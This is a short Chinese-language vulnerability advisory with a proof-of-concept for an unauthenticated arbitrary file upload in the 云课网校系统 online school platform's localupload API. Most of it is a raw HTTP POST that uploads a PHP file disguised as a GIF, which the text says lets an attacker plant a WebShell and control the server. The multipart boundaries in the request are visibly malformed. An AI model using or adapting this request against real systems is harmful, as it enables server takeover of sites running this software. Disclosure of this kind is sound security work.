云课网校系统 localupload 任意文件上传漏洞

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云课网校系统 localupload接口存在任意文件上传漏洞，未经身份验证远程攻击者可利用该漏洞代码执行，写入WebShell,进一步控制服务器权限。

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POC



POST //api/uploader/localupload HTTP/1.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ja;q=0.8
Cookie: PHPSESSID=99i6ere5jq4o9em90ikncnc9lo

---ebKitFormBoundaryFf]Z4P1AZBixjELj--
Content-Disposition: form-data;"name="file";"filename="lwzqpe.php
Content-Type:image/gif
<?php phpinfo();unlink( FILE );?>
---WebkitFormBoundaryFf]Z4P1AZBixjELj--